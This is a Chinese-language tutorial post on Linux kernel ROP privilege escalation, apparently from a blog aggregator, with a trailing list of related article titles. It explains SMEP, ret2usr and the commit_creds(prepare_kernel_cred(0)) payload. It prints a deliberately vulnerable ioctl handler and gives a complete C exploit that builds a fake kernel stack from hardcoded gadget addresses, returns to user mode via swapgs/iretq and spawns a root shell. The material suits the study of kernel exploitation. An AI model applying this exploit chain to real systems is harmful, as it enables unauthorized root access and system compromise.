Linux内核ROP学习

0x00 前言

1.SMEP(Supervisor Mode Execution Protection):一种减缓内核利用的cpu策略,禁止内核态到用户态内存页的代码执行(32位的addresses < 0x80000000),每一页都有smep标识来标明是否允许ring0的代码执行。

2.传统的提权方式是在内核中获取当前进程的内核栈,遍历task_struct(具体方法参考《内核漏洞的利用与防范》p102),找到uid、gid修改值为0,并找到kernel_cap_t修改值为0xFFFFFFFF(保持所有权限)。

目前典型的攻击方式是ret2usr,即内核态执行流重定向到用户空间地址,2.6.29以后引入了cred结构,所以提权payload可为 :

void __attribute__((regparm(3))) payload() {

commit_creds(prepare_kernel_cred(0);//创建新的凭证结构体,且uid/gid为0,为当前任务设置新的权限凭据

}

3.目标:用户空间中伪造内核栈,执行内核空间的ROP链,即在用户空间内执行内核rop gadgets提权。

ROP chain(x86_64):

4.准备Gadget(用extract-vmlinux提取elf镜像,ROPgadget寻找gadget):

1)sudo file /boot/vmlinuz*

2)sudo ./extract-vmlinux /boot/vmlinuz* > vmlinux

3)ROPgadget.py --binary ./vmlinux > ~/ropgadget.txt

4)grep ‘: pop rdi ; ret‘ ropgadget.txt

5.导入有漏洞的内核模块,dmesg查看加载路径:

0x01漏洞分析:

static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
    struct drv_req *req;
    void (*fn)(void);

    switch(cmd) {
    case 0:
        req = (struct drv_req *)args;
        printk(KERN_INFO "size = %lx\n", req->offset);
                printk(KERN_INFO "fn is at %p\n", &ops[req->offset]);
        fn = &ops[req->offset];//设备命令传输的时候,未对传入的参数做边界检查导致任意地址访问,且args是unsigned long类型,可以传入任意内核地址
        fn();
        break;
    default:
        break;
    }

    return 0;
}

0x02 exp

/**
 * ROP exploit for drv.c kernel module
 *
 * gcc rop_exploit.c -O2 -o exploit

 */

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include "drv.h"

#define DEVICE_PATH "/dev/vulndrv"

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
//取参数
static void save_state() {
    asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "pushfq\n"
    "popq %2\n"
    : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"         );
}

void shell(void) {
    if(!getuid())
        system("/bin/sh");

    exit(0);
}

void usage(char *bin_name) {
    fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
}

int main(int argc, char *argv[])
{
    int fd;
    struct drv_req req;
    void *mapped, *temp_stack;
    unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;

    if (argc != 3) {
        usage(argv[0]);
        return -1;
    }

    req.offset = strtoul(argv[1], NULL, 10);
    base_addr  = strtoul(argv[2], NULL, 16);

    printf("array base address = 0x%lx\n", base_addr);
    stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;//栈迁移指令会把$rXx的低32位地址(形如0xXXXXXXXX的用户空间地址 )作为新栈指针
    fprintf(stdout, "stack address = 0x%lx\n", stack_addr);

    mmap_addr = stack_addr & 0xffff0000;
    assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
    assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);

    save_state();    //布置伪造栈,栈地址为执行xchg eax, esp ; ret后的stack addr,栈迁移过后就会执行rop gadgets
    fake_stack = (unsigned long *)(stack_addr);
    *fake_stack ++= 0xffffffff810027f9UL; /* pop %rdi; ret */

    fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);

    *fake_stack ++= 0x0UL;                /* NULL */
    *fake_stack ++= 0xffffffff8108e530UL; /* prepare_kernel_cred() */

    *fake_stack ++= 0xffffffff81044fe1UL; /* pop %rdx; ret */
    //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
    *fake_stack ++= 0xffffffff8108e276UL; // commit_creds() + 2 instructions,为ret到下一gadget须除去push ebp,

    *fake_stack ++= 0xffffffff81033cf8UL; /* mov %rax, %rdi; call %rdx */

    *fake_stack ++= 0xffffffff81052804UL; // swapgs ; ret
        //*fake_stack ++= 0xdeadbeefUL;         // dummy placeholder 

    *fake_stack ++= 0xffffffff81229d46UL; /* iretq */
    *fake_stack ++= (unsigned long)shell; /* spawn a shell */
    *fake_stack ++= user_cs;              /* saved CS */
    *fake_stack ++= user_rflags;          /* saved EFLAGS */
    *fake_stack ++= (unsigned long)(temp_stack+0x5000000);  /* mmaped stack region in user space */
    *fake_stack ++= user_ss;              /* saved SS */

    //map = mmap((void *)..., ..., 3, 0x32, 0, 0);

    fd = open(DEVICE_PATH, O_RDONLY);

    if (fd == -1) {
        perror("open");
    }

    ioctl(fd, 0, &req);

    return 0;
}
时间: 2024-08-11 09:56:52

Linux内核ROP学习的相关文章

Linux内核ROP姿势详解(二)

/* 很棒的文章,在freebuf上发现了这篇文章上部分的翻译,但作者貌似弃坑了,顺手把下半部分也翻译了,原文见文尾链接 --by JDchen */ 介绍 在文章第一部分,我们演示了如何找到有用的ROP gadget并为我们的系统(3.13.0-32 kernel –Ubuntu 12.04.5 LTS)建立了一个提权ROP链的模型.我们同时也开发了一个有漏洞的内核驱动来允许实现执行任意代码.在这一部分,我们将会使用这个内核模块来开发一个具有实践意义的ROP链:提权,修复系统,纯净退出到用户空

linux内核数据结构学习总结(undone)

本文旨在整理内核和应用层分别涉及到的数据结构,从基础数据结构的角度来为内核研究作准备,会在今后的研究中不断补充 目录 1. 进程相关数据结构 1) struct task_struct 2. 内核中的队列/链表对象 3. 内核模块相关数据结构 2) struct module 1. 进程相关数据结构 0x1: task_struct 我们知道,在windows中使用PCB(进程控制块)来对进程的运行状态进行描述,对应的,在linux中使用task_struct结构体存储相关的进程信息,task_

Linux 内核list_head 学习

Linux 内核list_head 学习(一) http://www.cnblogs.com/zhuyp1015/archive/2012/06/02/2532240.html 在Linux内核中,提供了一个用来创建双向循环链表的结构 list_head.虽然linux内核是用C语言写的,但是list_head的引入,使得内核数据结构也可以拥有面向对象的特性,通过使用操作list_head 的通用接口很容易实现代码的重用,有点类似于C++的继承机制(希望有机会写篇文章研究一下C语言的面向对象机制

Linux内核驱动学习(二)----根文件系统的构成 (root filesystem)

1.建立根文件系统目录和文件 1.1创建目录 1.2创建设备文件(命令mknod):必须创建设备文件---consle\null 1.3创建配置文件---复制已有的/etc目录下的文件 1.4添加内核模块 进入Linux内核目录下,(注意,应该先编译内核,即命令make uImage ARCH=arm  CROSS_COMPILE=arm-linux-) 1.4.1.编译内核模块---命令 make modules ARCH=arm CROSS_COMPILE=arm-linux- 1.4.2.

linux内核驱动学习(八)----驱动分类 | 学习方法 | 硬件访问

驱动分类: 对于驱动,我们一般按两种方法进行分类:常规分类法和总线分类法. 按照常规分类法,可以分为以下三类: 1.字符设备: 以字节为最小访问单位的设备.一般通过字符设备文件来访问字符设备驱动程序.字符驱动程序则负责驱动字符设备, ,这样的驱动通常支持open.close.read.write系统调用,应用程序可以通过设备文件(比如/dev/ttySAC0等)来访问字符设备(串口).例如:串口\led\按键 2.块设备: 以块(一般512字节)为最 小传输单位的设备.大多数UNIX系统中,块设

linux内核驱动学习指南

目录: 1.参考链接 1. 参考链接 小白的博客 ONE_Tech 你为什么看不懂Linux内核驱动源码? 求教怎么学习linux内核驱动 原文地址:https://www.cnblogs.com/agui125/p/10071452.html

[linux内核][LINUX内核编程]学习笔记(二)

linux内核————队列 linux内核——队列 定义: [cpp] view plaincopy struct __kfifo{ unsigned int in;  //入队偏移,写索引 unsigned int out;  //出队偏移,读索引 unsigned int mask; unsigned int esize; void *data; } 使用: 创建一个队列,该函数创建并初始化一个大小为size的kfifo: [cpp] view plaincopy 38 int __kfif

[数据结构][LINUX内核编程]学习笔记(一)

linux内核使用bitmap相关 1,声明一个bitmap数组,可以表示100个bit,数组名字是bitmap [cpp] view plaincopy DECLARE_BITMAP(bitmap,100) 相关宏定义如下: [cpp] view plaincopy #define DECLARE_BITMAP(name,bits) unsigned long name[BITS_TO_LONGS(bits)] #define BITS_TO_LONGS(nr) DIV_ROUND_UP(nr

[数据结构][LINUX内核编程]学习笔记(二)

linux内核————队列 linux内核——队列 定义: [cpp] view plaincopy struct __kfifo{ unsigned int in;  //入队偏移,写索引 unsigned int out;  //出队偏移,读索引 unsigned int mask; unsigned int esize; void *data; } 使用: 创建一个队列,该函数创建并初始化一个大小为size的kfifo: [cpp] view plaincopy 38 int __kfif